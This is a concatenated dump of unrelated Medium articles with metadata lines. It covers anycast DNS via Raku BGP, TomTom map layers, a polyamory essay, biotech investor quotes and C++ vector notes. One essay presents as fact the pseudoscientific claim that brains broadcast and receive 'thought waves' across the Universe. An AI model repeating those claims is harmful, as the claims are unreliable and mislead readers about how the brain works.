Since I’m using Ubuntu LTS 18.04, using the server install, it configures network interfaces via CloudInit. I edited the file to look like this — your configuration will likely be somewhat different:
This was done on both machines. I then rebooted the machines to reconfigure them, and, once rebooted, I could see the address added to the “lo” interface:
This was done on both machines.
Step 3 — Installing Raku
To announce the routes (so that other computers can contact the DNS servers using the anycast addresses), I’ll be using a Raku package I’ve written, Net::BGP. This requires Raku to be installed. Unfortunately the version included in the standard Ubuntu package repositories is too old to run Net::BGP, so we have to install this from another source, as documented here in the “Debian, Ubuntu, LMDE and Mint” section.
Once done, you should be able to validate that Raku is installed (this is done on each DNS server; I’m doing it on a workstation just to demonstrate below, but you would do this on your DNS servers):
Verifying that Raku is installed. Your installation may be a newer version if you install this after I wrote the this tutorial.
Step 4 — Installing Net::BGP
Using the Raku package manager, zef, we install Net::BGP on each DNS server. In a shell session, I set a temporary path to include the Raku binary directory and then execute zef to install the module (“zef --warn install Net::BGP”). The installation can take some time since it is compiling a fairly complex Raku module.
Again, I did the install on a workstation, but you would do this on each DNS server.
Installing Net::BGP
Step 5— Configuring your Routers
At this point, I need to select an ASN (autonomous system number) to use for the DNS servers. I chose to use 4200149002, a private 32-bit ASN that encodes “149.2” (the anycast address I’m using) into itself. This is arbitrary — any private ASN should work for my environment, but I wanted to do this via EBGP and not IBGP, so the number needs to differ from the ASN of the router.
Once I have that, each of the routers (firewall+routers in my case) needs to be configured to accept a BGP session from the unicast address of the DNS server connected to it. How BGP works is a bit out of scope for this article, but I’ll give some VyOS configuration (I run a VyOS firewall) snippets for the datacenter firewall’s BGP session to the resolver in the datacenter.
A Very Simple BGP Configuration
Step 6 — Creating the BGP Script
On each DNS server, we will be creating a shell script that starts up Net::BGP’s bgpmon.p6 utility (despite the name, it will do a bit more than just monitor BGP). bgpmon.p6 can announce routes conditionally based on the results from an external application.
We’ll create this script as /usr/local/bin/start-bgp.sh and make this file executable. In it, we’ll set the paths appropriately and pass some parameters to bgpmon.p6. In particular, we set the ASN to 4200149002, the BGP router ID to the server’s unicast address (in the example we’ll use 192.168.65.10), but it would be each server’s unicast IP), setting the origin to IGP (this isn’t strictly necessary for this example), and configuring the route to announce. We’ll also configure the address of the router it is behind (192.168.65.1 for the datacenter server) and the peer’s ASN (65001 for the datacenter server).
In addition, we need to configure the command (executed every second) to check to make sure the DNS server seems to be up (if for some reason unbound stops properly responding, we want to withdraw the route to it, so that the other server takes over).
So, let’s figure that command out. I used “dig” (a DNS lookup tool) that returns a true value (0) if the lookup succeeds, and false if it doesn’t. In addition, I instructed dig to not perform retries. I’m looking up the magic “version.server” name (in the CH class):
I verify this command returns successfully when run on both servers. The command can be anything that returns an exit status of zero when successful, anything else for failure.
With that sorted, I can now build my script to start bgpmon.p6 (this is the one on the datacenter DNS server, in /usr/local/bin/start-dns.sh):
/usr/local/bin/start-dns.sh
The options passed to bgpmon.p6 start with “my-asn”, which is the ASN we’re using on each DNS server. We also provide the “my-bgp-id””, providing the DNS server’s unicast address. We give an “origin” option with a value of “i” for IGP (not strictly necessary in this case).
We also give an “announce” option that looks complicated. This simply says to the bgpmon.p6 script, “Announce 192.168.149.2/32 (just a single address) to the router, and tell the router the next hop is 192.168.65.10 (our unicast address).
We also provide the check-command and tell bgpmon.p6 to “suppress-updates” just so that we don’t see any update messages the router sends to us (we don’t process those updates anyhow). We then give the router’s IP and the router’s ASN.
Once I’ve created this and made this script executable, it can be tested as root:
A Successful BGP Connection
I can also check the routes on seen on the router:
Yay, I see my prefix!
In this case, I am seeing it from the directly-connected 192.168.65.10 router, and also from my home network (192.168.152.174 and 192.168.152.210). My router is using the datacenter route, as I would expect.
I can also ping 192.168.149.2 from various hosts on my network now! As well as do DNS lookups via 192.168.149.2!
Is It Working?
If I stop unbound (but leave the start-bgp.sh script running on both DNS servers!) on the datacenter host, what happens? Within a second, I should see the datacenter DNS server route disappear on my datacenter router:
Best Route is via 192.168.152.174 now!
Yep, sure enough! And I should be able to repeat my ping and dig tests and see that traffic is a bit slower to do it’s thing:
Traffic from a Datacenter Workstation to the DNS Server is Slower Now
Sure enough, my ping time is now 24+ ms, vs. <1ms. And DNS requests still work!
But we’re not done yet. There’s another important step!
Step 7 — Making This Start Automatically
To do this, we need to make this script into a systemd service. On both DNS servers, stop the script (ctrl-C will do it). Make sure to restart unbound if you stopped it.
Then create a file as /etc/systemd/system/bgp.service with contents similar to this:
Systemd Init File
We are making this start after unbound starts, and we are telling the system we want it running whenever we are in multi-user mode. We also have systemd automatically restart this service should it die.
Then we do the systemd magic to make it auto-start, and we go ahead and start the service:
Making Systemd Start our Service Automatically
We can then log into our routers and validate the routing table is as expected — that we see the routes advertised from each of our DNS servers.
Final Step — Start Using!
Now that all this is done, we can configure our clients (or our DHCP servers) to hand out the 192.168.149.2 address to our clients as a DNS server.
Whew! Done!
There’s a lot to this, and maybe, just maybe, it isn’t something most people would want to do at home! But if you do, you now know at least one way to do it. There are a ton of variations on this, depending on your needs, and your imagination can probably take it from here. | https://medium.com/swlh/anycast-dns-with-raku-net-bgp-205caf2b0be5 | ['Joelle Tori Maslak'] | 2020-01-20 20:45:06.644000+00:00 | ['Raku', 'Computer Networking', 'Bgp', 'Routing', 'DNS'] |
Manipulating and Styling Map Layers Beyond the Basics | Layers in a map are totally open to manipulation. We’ll take a look at the mechanics of layers and how you can use features of the TomTom Maps SDKs and Map Display API to manipulate & create custom styling so you can adapt maps to the needs of your app.
Layers are an integral feature of displaying details on TomTom maps. Behind the scenes, TomTom maps use layers to display map tiles, markers, routes, and traffic, and most of the time, you don’t need to do anything — it’s all handled for you.
But layers in a map are totally open to manipulation, and it’s not difficult once you understand how they work. This article will take a look at the mechanics of layers and how you can use features of the TomTom Maps SDKs and Maps Display API to manipulate layers, add and remove layers, toggle layer visibility, and create custom styling for layers, so you can quickly adapt TomTom maps to the needs of your application.
LAYER BASICS
Map layers provide a convenient way to add and remove geospatial information without modifying the underlying map. If you’ve ever worked in an image editing or drawing program that uses layers, you’re already familiar with the concept. Each layer in a drawing or map contains different visual information. Like transparencies, they can be stacked to overlay additional information on top of the basic map.
Rather than redrawing a map tile each time you want to add or remove some details, layers enable TomTom to provide flexible map display information and give you control over which part of the map are displayed and the order in which they’re displayed. You can even insert your layers containing data created by your application or imported from third-party data sources and APIs.
Out of the box, TomTom maps include layers containing data such as:
Background map tiles
Labels
Roads
Buildings
Parks
Traffic density
There are many other categories. Within a given map you’ll find separate layers containing specific types of map detail such as motorways, secondary roads, connecting roads, toll roads, and so on.
To learn more about the underlying details, start with the article Using Traffic Data with Maps and Routes, which explains how map tiles and layers are composited. If you want to dig down deeper into the underlying layer data available through the TomTom Maps Display API, see the documentation for the Maps Vector Tile endpoint data. You’ll find an extensive list of available layers and examples of the layer data returned by the API.
Most of the time, the TomTom Maps SDK handles the details of map layers for you. Depending on the type of map you’re displaying, the Maps SDK even provides data “tiers” that include bundles of preconfigured layer data. For example, when you call the TrafficFlowTilesTier or the TrafficFlowIncidentsTier, the SDK manages all of the layer display details for traffic or incidents on your behalf.
In some scenarios you might want to manipulate map layers on your own. For example, as mentioned earlier, you might insert layers displaying data from your own sources, in addition from the map data provided by TomTom. This could include a layer of custom markers showing the locations of vehicles in your fleet. Or you might show heat maps based on external data.
Once you have your map layers in place, you might also want the ability to turn them on or off interactively. The TomTom Maps SDK for Web Changing Layers Visibility functional example provides a great code example that demonstrates parsing all of the layers in a map and providing controls to toggle them on or off.
You could also allow the layers themselves to have customizable styles through styling. Map styles exist not just to enhance aesthetic features but also to improve the user experience. If the data is too granular or the lines too thin, you can configure different zoom levels. Or you can adjust colors and styles to favor people who are color-blind.
We’ll show an example of using the Map Styler utility (developer API key required) later, and you can read the article Create Custom Map Styles with TomTom’s Map Styler for additional details.
ADDING A TRAFFIC LAYER
Let’s take a look at some examples of how you can manipulate layers in TomTom maps. Note that, for simplicity, we’re using a map based on the TomTom Maps SDK for Web.
As mentioned earlier, one of the simplest examples of adding optional layers to a map occurs when you add traffic flow and traffic events. Let’s start with a map of Central Park in New York City.
const map = tt.map({ key: '<<MY_TOMTOM_KEY>>', container: 'map', zoom: 12, center: [-73.9712, 40.7831], //Central Park, Manhattan, NY });
Next we’ll provide a center for our map and a zoom, to make Central Park visible:
Now let’s call the SDK function for adding TrafficFlowTilesTier traffic data:
map.on('load', function() { map.addTier(new tt.TrafficFlowTilesTier(config)); });
Here, the SDK handled all of the layer manipulation for traffic flow-related tiles and layers:
As you can see, the green color means light traffic, while yellow and orange-colored segments indicate streets and avenues with more vehicles. Notice how you didn’t have to worry about the data: the traffic flow tiles from TomTom Web SDK handled it all for you.
INSERT A LAYER
Now, let’s say you want to highlight the Central Park area within your map. You can easily do this by adding a new layer with a semi-transparent polygon on it, to avoid blocking the view of the underlying map features.
In the following code snippet, we’ll use the map.addLayer() function from the Maps SDK with a series of parameters to draw the polygon. We need to provide:
The layer ID
The type of polygon (a filled-in rectangle)
A collection of point coordinates (containing the latitude and longitude for the four outer corners of the Central Park)
The color and opacity of the rectangle fill
Here’s an excerpt of the code we’d use:
map.addLayer({ 'id': 'overlay', 'type': 'fill', 'source': { 'type': 'geojson', 'data': { 'type': 'Feature', 'geometry': { 'type': 'Polygon', 'coordinates': [[ [-73.9582, 40.8007], [-73.9491, 40.7968], [-73.9730, 40.7642], [-73.9819, 40.7681], [-73.9582, 40.8007], ]] } } }, 'layout': {}, 'paint': { 'fill-color': '#db356c', 'fill-opacity': 0.5, 'fill-outline-color': 'black' } } ); });
Now the Central Park area highlighted:
This technique can be used to easily include new polygon layers in any map. Dive deeper on this topic in the article Using GeoJSON Geometry Data to Draw Borders with TomTom Maps.
MANIPULATING LAYER ORDER
We added a new layer containing a polygon to the map, but the default behavior of addLayer() is to add the newest layer on top of all other layers. We made it a semi-transparent rectangle, but it’s still hiding streets and avenues beneath it. What if we wanted to move the polygon layer behind the traffic density layers?
Fortunately, the addLayer() method takes an additional before parameter, which lets you specify the ID of the layer under (or behind) which your new layer should be placed.
In this case we want to place the polygon layer under the first layer of the traffic flow layers, which is “Vector Traffic Outline One Side Parking road”.
So instead of just adding the layer to the top of the layer stack, we can specify this layer ID as the second parameter of the addLayer() method:
map.addLayer({ 'id': 'overlay', 'type': 'fill', 'source': {...}, 'layout': {}, 'paint': {...} }, 'Vector Traffic Outline One Side Parking road');
And here’s the result:
How did we know which layer to specify? See the Add a layer between map layers tutorial for one method of figuring out the layer ID specific to a group of layers returned by a TomTom API call.
If you need to get more specific, it may require further exploration of the layers included in your map. The map.getStyle().layers call returns a collection of available layer objects that you can parse through. This may take some experimentation. See the Changing Layers Visibility functional example for a code example, and the Maps Vector Tile endpoint data will give you a good idea of the likely available layer IDs.
The order in which you add layers or data tiers to your map also dictates the layer ordering, so as you develop your application, rather than trying to figure out where to insert a layer within an existing stack, you could insert a layer on top (possibly in a hidden state), then add any features that should appear on top of your layer.
Note that you can also moveLayer() and removeLayer().
STYLING MAPS
When it comes to styling maps, there are two strategies.
Through the developer portal, you can access the Map Styler tool to pre-configure the appearance of maps across multiple applications and platforms by changing the color schema, data, and other shapes to your preferences, then load these styles into your map.
You can also provide styling programmatically by using the TomTom Maps SDK. Here’s how to use JavaScript to change the default style of your map to one of the predefined styles. You can set it through the map.style option, specifying one of the available map styles:
const map = tt.map({ key: ‘<<MY_TOMTOM_KEY>>’, container: 'map', zoom: 12, center: [-73.9712, 40.7831], //Central Park, Manhattan, NY style: 'tomtom://vector/1/basic-main', });
You can also set the style through the map.setStyle() method.
LAYER VISIBILITY
Finally, you can easily toggle the visibility of a layer by using the map.setLayoutProperty() method, specifying the layer ID, layout property, and property value.
Here’s an example of function that takes the layer ID and sets the visibility to either “visible” or “none” (not visible):
function changeLayerVisibility(layerId, visible) { map.setLayoutProperty(layerId, 'visibility', visible ? 'visible' : 'none'); }
You can see this code in action in the Changing Layers Visibility functional example, and it might be a handy technique for inserting invisible layers into a layer stack when it’s easiest, then turning the layer “on” when you need it.
LEARN MORE IN OUR VIDEO TUTORIAL
Watch our developer advocates, Jose and Olivia, as they play around with the TomTom Map Styler and go over how to change colors and layers, and how to create custom map themes for your apps.
NEXT STEPS
That covers most of the layer manipulation and styling functions. As you can see, it’s easy to manipulate layers and the Maps SDK for Web provides methods to add, move, remove, and change visibility of layers.
If you’re using the Maps SDK for Android or Maps SDK for iOS, you still have extensive control over layer ordering and manipulation, though the syntax is different. See the respective SDK documentation and examples for details.
Follow the links below to help you work more effectively with layers when using the TomTom Maps SDK:
This article originally appeared on developer.tomtom.com/blog. | https://medium.com/tomtom-developers/manipulating-and-styling-map-layers-beyond-the-basics-55d1babb0a54 | ['Bre Teiko'] | 2020-12-23 17:23:51.767000+00:00 | ['Developer', 'Traffic Optimization', 'DevOps', 'Mapping', 'Traffic Data'] |
Five Lessons I Learned From Polyamory | Photo by Lucas Marconnet on Unsplash
I wish I could be mad at polyamory. Not that it’s at all mature or helpful to be grumpy with an abstract concept. (Argh, Mondays.) But if polyamory were a person, I’d want to sit them down and have a nice long chat about why opening up to new relationships — intentionally and consensually “bringing more love into my life,” as I had described it to curious and concerned friends — wound up with the swift dissolution of my core relationship followed by the departure of the partner who I’d explored ethical nonmonogamy with in the first place. More love very quickly turned into so much less. I sat in the smoking crater of what my relationships once were and watched my former partners go on not only as if they never loved me, but as if I had never existed.
And yet I don’t regret opening to multiple romantic relationships. Not at all.
At the outset, when I started talking to my core partner about polyamory and the ways we’d edged up to it in the past, I didn’t expect to go exploring. My partner and I had joked that dating is a wide-awake nightmare and we were grateful to be freed from the chaos — and the number of dates I had where I felt I was being interviewed to warm someone’s bed on their one free Sunday a month eventually proved me right on that score. But my deepest hope was that talking about a more open relationship would lead my partner and I to communicate more clearly about what we wanted and desired from our romantic lives. Maybe we’d stay closed but gain knowledge from really looking at who we were and what we wanted.
The effort was a little lopsided. I immediately picked up The Ethical Slut and More Than Two. I set up times for my partner and I to read the chapters one by one and discuss our impressions. I felt caught in a weird purgatory of yes but no. Yes, my partner was interested in polyamory, but no they didn’t like the books I picked. I suggested they gather some resources to share and they said yes, only to find reasons not to. And so it went, even as — in a strange set of circumstances that left my head spinning — my partner and I agreed to open up. I went on dates. I took it slow. I eventually jumped to cultivate a romantic relationship with a friend who was more seasoned in the ways of ethical nonmonogamy than I was. And over the following year and a half, I learned a few things. Some hurt. Some are still precious to me. All have been critical.
You don’t get to start over
A lifetime of serial monogamy had left me with the expectation that my first poly relationship would be its own creature, unfettered by my past. I’d get a chance to make an entirely new connection and grow that relationship as something fresh.
I learned how wrong I was the first time I opened the door to my girlfriend’s bedroom and totally froze. I wasn’t ready for that. We had talked for months about our desire for each other, playing out everything we wanted to do in sexting bouts that lasted hours. But when we could finally touch, the unspoken expectation of sex hanging in the candlelit bedroom, all the unknown trauma I’d been carrying crept up my legs and rooted me to the doorway. I was afraid of being a disappointment, of doing the wrong thing, and my brain played out every vicious thing my spouse had said to me in the dark.
I asked my girlfriend if we could sit on the bed and talk first, to go over boundaries and expectations. And we ended up having a lovely evening. But no pocket of time my girlfriend and I could make for each other was totally free of the old fractures and bruises. Our lives with our other partners formed the walls around what’d be possible for us, and our relationships with them had brought the mix of nourishment and curses that many such connections do. The effect was something like a hotel room you’ve been living in for more than two days — you not only carry baggage, but after a little bit the baggage starts to get comfortable being laid around the room.
Jealousy will happen and that’s ok
I’m far from the first person to point this out. Any book on polyamory worth the sticker price has at least a short consideration of jealousy and how response — rather than an absence of an ugly emotion — is more important. But the fact that “I’m poly” is often met with the response “Oh I could never do that, I’m too jealous” is reason enough to reiterate this point.
It’s not that I was totally beyond jealousy. Not at the start. It just never seemed to come up. My core partner liked when I visited my girlfriend. I worked from home, and my absence gave her room for a staycation. On the darker side, she’d tell our friends that she was glad when I was gone so she wouldn’t have to deal with my emotions. But it seemed I had her blessing and encouragement. When I visited my girlfriend, we mixed alone time and group time such that everyone seemed to be happy. Sometimes, during the usual stretches when my girlfriend and I would be apart, we’d wish we were present for a special occasion or event but it wasn’t anything that seemed as sharp as jealousy.
Then came a particular night when I found myself a little shell-shocked. My core partner had started dating and had spent the day with her other partner, a partner she was getting closer and closer to while getting colder towards me. My girlfriend made a decision to spend some time with one of her partners that I felt was toxic. In the middle, finding myself with the evening to myself, I’d gone to an event where I was surrounded by couples having a wonderful, giddy time, and it only highlighted how isolated I felt. I needed care and affection, too, and somehow being available to more love had left me feeling like everyone was enjoying it except me.
Results varied. I talked to my core partner about how I felt. They reminded me that they had put a moratorium about talking about intimacy. They idly patted my shoulder while I sobbed in bed. The next morning, I talked to my girlfriend at length about what happened and why I felt the way I did. It wasn’t easy. It felt about as complicated as emotional surgery. But simply feeling safe enough to say that yes, I felt jealous, and had some difficult emotions, was something I hadn’t known. I didn’t like how I felt, but swallowing it was worse. The back of my throat itches just thinking about that, even now.
In the end, it’s an extension of the therapy 101 point that your emotions are what they are. Telling yourself not to be jealous, angry, sad, or whatever it is doesn’t have much point. You feel what you feel, but you have control over how you respond and the choices you make in the context of those feelings.
Waiting for the stars to align is a mistake
At this point it probably sounds like I made a string of bad choices. When I’d talk to therapists, they’d caution me that my core relationship already sounded unstable and all the resources they had at hand were for “the traditional dyad.” I went ahead anyway. In the end, I’m glad I did.
There’s a common refrain in the poly community that you need to have your own house in order before you start any new intimate or romantic relationship. I’m not the first to say this, and hopefully I won’t be the last, but that’s gatekeepy bullshit. That’s the kind of bunk people say when they’re comfortable and they don’t care to stretch or consider what your needs are. In other words, it’s treating polyamory like you’re interviewing someone for a job rather than forming relationships with people.
By the time my longtime partner and I opened to polyamory, our relationship wasn’t good anymore. In fact, part of the initial consideration was “Well, maybe if we can make new connections that additional love will spill over and we’ll feel more energized about each other.” Looking back, I regret using that train of thought to inform my decision, but that effect had happened before. And I was upfront about the situation. My girlfriend had talked me through some of the turbulence before we started dating in earnest, and knew that I was under more than a little bit of stress.
And yet, we had something wonderful. We were open with each other in a way I’d never experienced before. My girlfriend was someone who I could be entirely transparent with, even if the truth was difficult or sad, and feel like we were on the same team. When I wanted to get up and fuss and help in the kitchen, she told me to sit down and enjoy being served for once. When we ate together, she remembered what I liked so she could surprise me next time. She had a delightfully sneaky way of recalling my favorite things and making them appear. (When I described this to my core partner, they just said “I wish I could do that” as if buying a bit of cheese and meat from the grocery store was a trek to the top of Everest.) I wasn’t used to it at first. And of course I did my best to return every favor to make sure she felt as cherished by me as I did by her. Over the months, the warmth started to seep in. My girlfriend made me feel loved. She made me feel seen and cared for. All the things that I thought would be asking too much, or impossible to reclaim, she did as easily as sleeping next to me.
One of my therapists underscored the point. “She really showed you what it’s like to be loved,” they said of my girlfriend. And they were right. I had been making myself smaller and smaller in my core relationship. I was afraid of speaking up for anything I wanted lest I get bitten with a rebuke or assertion that I was ungrateful. I accepted that. I kept choosing my longtime partner, asking what I could do for them and how I could assist, and I kept taking more and more on in the hopes that with a little more effort and a little more time and a little more space, they’d choose me back. I treated my core partnership as a guarantee of love and care. It wasn’t. My girlfriend showed me how much I had distorted myself, but also how much I was still worthy of the affection I craved. Had I waited for my core relationship to be totally repaired, or even for it to completely fall apart, I could have missed a love strong enough that it changed how I felt about myself.
It’s not about having all your needs met
Here’s where I’m going to disagree — a touch — with what I’ve seen as a common piece of the polyamory welcome pamphlet. I’ve seen poly advocates and educators often state that ethical open relationship styles can allow people to have all their needs met, or meet needs that one partner can’t fulfill. And this can indeed be true. Touch, intimacy, and other connections are important, for example, and it can make sense for a long distance couple to have other partners while still maintaining the close connection between the people who are far away.
But I feel like “needs” is often coded language for sex, and if we go down another layer we find a sub clause about frequency or availability of sex. American culture, especially, puts so much pressure on having partnered sex vigorously and often that we think there’s something wrong with us if we don’t get laid every few days, weeks, or whatever time frame you have in mind. We forget that we can have fulfilling sex lives on our own. We forget that sometimes people go through times — long or short — where sex isn’t all that appealing and can safely go on the back burner. We can feel entitled to frequency or types of sex that once we’ve unlocked them, are always on the menu because we’ve already reached that tier. I say this because I used to hold some of these misapprehensions.
Part of why I wanted to try poly was because I craved affection that made me feel desired. That’s not necessarily a bad thing. But what I came to realize was that my main need was safety and trust. It took me years to realize my core partner was neglectful and even emotionally abusive. Once that relationship ended, and I healed a bit, I started a new relationship that gave me that security and has left me feeling happily monogamish. Finding out what our needs are sometimes has to go a few levels beyond our basic actions and their availability to what it is we really want.
But aside from all that, I don’t think I should have 100% of my needs met. Or, at least, I want to challenge the idea that we need to have all our needs answered at all times to feel content. I can’t draw up a list and check the levels each day. What I need on one day or another will be different. Maybe it will even change within a given day. My needs are likely to shift over time, and naturally sometimes I am going to have to sigh, self-soothe, and deal with a bit of hurt or disappointment. I think it’s dangerous to say poly can meet all your needs without explaining what that means or that it’s a matter of flexibility rather than a shopping list.
New relationships may cause old ones to end… but that may have happened, anyway
If my core partner and I hadn’t tried poly, maybe they wouldn’t have left me for someone else. If I hadn’t started a relationship with my girlfriend, then I wouldn’t have been heartbroken a second time in such close succession. But there’s no guarantee that my relationship would have remained stable if I’d remain closed. I don’t need a divorce lawyer billboard over the highway to know how often monogamous couplings fail, no matter the promises made at the beginning.
One of the greatest fears about polyamory — at least in couples who are opening up, rather than solo poly folks — is that a new partner is going to be shiny, better, and ultimately lead someone you love away. That the intensity of new love will always outshine longstanding affection and commitment, and it’s a fear that’s as present for veterans of nonmonogamy as novices. There’s little more terrifying that a new unknown, a sense of potential and excitement that familiarity has winnowed away from your cherished partnership. Yet these relationships are fundamentally different. Your dynamic with someone you share a checkbook or a home with isn’t the same as your relationship with someone you just get to share cake with. And even over the long term, dynamics are likely to change — just as they do in friendships. Too often we treat relationships like an application process, where someone fills a role and is expected to do so in the same way, at full capacity, forever, and this only ratchets up the tension when someone seems to do the same job better.
But all of that is irrelevant to a basic fact of life. Relationships end. One way or another, they all do. Sometimes you can see it coming and prepare. Other times it’s incredibly sudden. You may never get a reason why, which is all the more painful when that’s a person’s choice rather than a matter of accident. There really is nothing you can do to keep someone with you. You can choose them, and you can wake up every day hoping they choose you back. It’s wonderful when they do. Someday, for reasons you may never know or understand, they may not, and that’s the risk we take by loving at all.
Relationships shouldn’t be passive things. We don’t win love like it’s a stuffed toy at the boardwalk ring toss. It’s something we make happen, and, like anything we make, there’s the possibility that love won’t last. There’s no point in arguing with that. Love is impossible without loss. That makes every unexpected and affectionate moment all the sweeter. | https://rileyblackwrites.medium.com/five-lessons-i-learned-from-polyamory-9e0759167626 | ['Riley Black'] | 2020-05-09 21:54:05.044000+00:00 | ['Nonmonogamy', 'Relationships', 'Polyamory', 'Love'] |
Zero Iteration MagicScript | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/japanese-magic-leap-fans/zero-iteration-magicscript-638aee7ffda8 | ['Sadao Tokuyama'] | 2020-12-22 13:24:34.238000+00:00 | ['JavaScript', 'AR', 'Magic Leap One', 'Magic Leap', 'マジックリープ'] |
Your Thoughts: Not Always Yours | Nobody owns their thoughts and ideas. Brain acts as a radio transmitter, where it receive thoughts and vibes in form of invisible frequency from the great Universe. Every single flash of thought is a reflection of your tuned frequency in the brain. Just like radio waves, thoughts and vibes has their own waves which flows across the Universe. It starts from the point of origin, the spot where individual is, and travel persistently in the Universe. When individual think about great vision with higher tuned and set frequency, waves of thoughts travels endlessly in the surrounding environment. Consistent thinking with voluntary efforts to stick on those frequency can have fruitful reaction from the Universe. If any other individual or group of individuals, set their own frequency which match pure content of original waves, they can blend their minds in one another. If group of ambitious people, match their waves and blend their minds, can create a separate World and communication system, through which their brains can communicate with or without intention of individuals. Brain communication system works without technical failures, once the connection establish. Blending of brain into one another is just like mixing individual bodies into one soul. Then one supereme soul form and direct each of them to take action in certain manner, to realise their single combined goal. Under brain communication system, every single thought wave from each single brains connected, can travel and reach to other connected receiver brain. These thought waves are powerful and magnetic in nature, which can travel and move without any hurdles and no material things of the World can stop it. Thought waves with higher frequency moves and spread in each part of the Universe, and other brains receive and interpret original content of thought. If some other brains also tuned for the similar content and vision, their brains starts to receive similar magnetic thought waves from across the Universe. | https://medium.com/@rohan-vankar6496/your-thoughts-not-always-yours-4478fcdac821 | ['Rohan Vankar'] | 2020-10-16 12:42:16.548000+00:00 | ['Universe', 'Decision Making', 'Physics', 'Thoughts', 'Thinking'] |
Eight Lessons from Mark Levin (Third Rock Ventures/Millennium) | More well thought out work can be found at — https://axial.substack.com/
Axial partners with great founders and inventors. We invest in early-stage life sciences companies often when they are no more than an idea. We are fanatical about helping the rare inventor who is compelled to build their own enduring business. If you or someone you know has a great idea or company in life sciences, Axial would be excited to get to know you and possibly invest in your vision and company . We are excited to be in business with you — email us at info@axialvc.com
Mark Levin is the co-founder of Third Rock Ventures and Millennium Pharmaceuticals. A legend in the biotech industry, Mark’s career has spanned ~4 decades where he has formed and invested in companies that have brought transformative medicines to patients and new technologies to healthcare.
1. “We’re seeing fundamental changes not only in the nature of drugs and drug making but also in the way value is created and profits are distributed throughout the industry. Drug development is an extremely time consuming and expensive process — a typical drug takes 15 years and $500 million to bring to market — and a company’s position in that process is critical in determining its profit potential. When Millennium was founded eight years ago, we situated ourselves at the furthest upstream end of the industry value chain: doing basic research into genes and proteins and selling our findings to big pharmaceutical companies. But as the distribution of value in the industry has changed, we’ve moved downstream, toward the patients who actually use and pay for the drugs.” Mark Levin co-founded Millennium Pharmaceuticals, a company that started off as a target discovery platform in drug development and over a decade made a pivot to an internal pipeline. As genomics was taking off in the early 1990s, Millennium was able to create a new category upstream in the drug development process. When the genomics category became commoditized, the company had to move downstream toward making their own medicines.
2. “You can’t overreact to great ideas. Things just don’t work that quickly.” Especially in biotechnology, there is so much scientific risk, taking a long-view is in the best interests of the patients and founders.
3. “Now, once you have the right people/team tackling a particular disease, it is key to have a well thought out plan up front in order to obtain The Right Drug for the Right Target for the Right Patient at The Right Time. This means having validated genetics, doing the right biological/drug discovery experiments and coupling these efforts with Translational Medicine early in the drug discovery process. The right Natural History Studies, the right subsets of patients in clinical trials to hit your TPP along with the right biomarkers to substantiate your success. And then when you get the data, be prepared to iterate on your hypothesis. Do not fall in love with your own genius- it will disappoint you time after time.” Drug development is multi-phasic. Success in one stage means you can go to the next but doesn’t guarantee success. Using as much data as possible, for drug development mainly genetics and real-world data, to inform decision making is the most important method to increase your odds of success.
4. “Always, always invest in great people and only great people. And as your companies develop, and become successful, stay focused on the patient.” Mark is saying that great people will eventually find a great idea.
5. “One day, everyone will have their own genomes mapped out and stored in memory chips, and doctors will look at the information in those chips and prescribe accordingly: “Mary, you should take this drug, but Mark, you should take that drug, because different things in your genes are causing your asthma.” We want to be the leader in personalized drug therapies. In fact, our expressed goal is to be the first company to deliver health care tailored to the patient’s genetic profile. To achieve that goal, we need to reach all the way to the doctors and the patients.” This is the vision for Millennium that ultimately led to Foundation Medicine, Agios, and others that Mark and Third Rock Ventures formed and invested in.
6. “If venture isn’t investing in early stage, and Big Pharma isn’t investing in early stage, there’s going to be a big hole there.” In the 2000s, biopharma lowered their investment in R&D, and biotech venture capital was not performing too well and was moving out of early-stage investing. This was the impetus for Mark Levin to co-founded Third Rock Ventures to fill in this gap.
7. “One academic with one idea will not be successful, mostly. We go out and meet all the best people in the world and we [together] develop an R&D plan, a discovery plan, [and reflect on] does this make regulatory and reimbursement sense … we’ll spend years on that idea.” Mark is describing at a high-level the process Third Rock used to build new biotech companies.
8. “You can hire the best 25 people in the world, but great individual effort will not alone build an outstanding company. You need the genius of the group to make it happen.” Mark is focused on group genius especially in biotech where it is very rare for an individual to be an expert in the large set of fields that make a drug successful. | https://medium.com/@axialxyz/eight-lessons-from-mark-levin-third-rock-ventures-millennium-5f55e201a046 | [] | 2020-12-12 23:02:31.353000+00:00 | ['Venture Capital', 'Biotechnology', 'Investing', 'Healthcare', 'Medicine'] |
Introduction to Vectors in C++ | Welcome Back Readers,
Image Source: Welcome Back
Introduction
I am Dhruv Trehan, Microsoft Student Partner and Coding Blocks Campus Representative from India. This blog is brought to you under the initiative started by me #10DaysofInnovation. I would be sharing by daily learning with the students all around the globe, as a step towards learning in a community. In this blog, I would be documenting the information based on the self-made notes while I was learning Vectors.
Objective
The objective of this article is to acquaint readers with “Basics Vectors in C++” . Relatively, we would be covering all the methods and functions in vectors. We would be designing our own vector class to analyze the implementation of Methods in Vector.
Implementation
Vectors are the containers available in a standard library. They are basically dynamic array (which can grow and shrink in size). Vector types depends upon what the particular vector is going to hold. For example:
vector<char> a vector <int> a
Methods in Vector
In reference to the document shared below, we can overlook:
Three ways of initializing a vector Three ways of Iterating over the values of vector
Basic Methods in Vectors
Functions in a Vector
In reference to the document shared below, we can discuss:
Importance of Push Back
“Adds elements at the end of the memory, expands memory if needed, safe our program from a segmentation fault”
Why Doubling a memory is an expensive operation?
“Whenever memory is doubled using a vector; the previous memory is deleted and new memory is setup, So deletion of a previous memory and setting up a new memory is much more time consuming”
Importance of Push Back function and Doubling a Memory
Confusing operations in Vectors
v.size() returns the current number of elements in a vector
v.capacity() return the total number of elements vector once had, even after deleting some elements
v.max_size() returns the total number of elements vector computer can hold in a worst case
Declaring the size of a vector
Methods in a Vector
d.push_back() is used to add element at the last position of the vector
d.pop_back() is used to delete the last element from the vector
d.insert(d.begin + 3, 100) is used to add element(100) at the 3rd position from beginning
d.insert(d.begin +3,4,100) is used to add element(100) “4 times “ at the 3rd position from beginning
d.erase(d.begin() + 2) is used to remove the element present at the second position in a vector
d.erase(d.begin() + 2,d.begin() + 5) is used to remove multiple elements from the vector at the mentioned positions.
Methods in Vector
d.clear() removes all the element from the vector
d.front() is used to return the first element in a vector
d.back() is used to return the last element in a vector
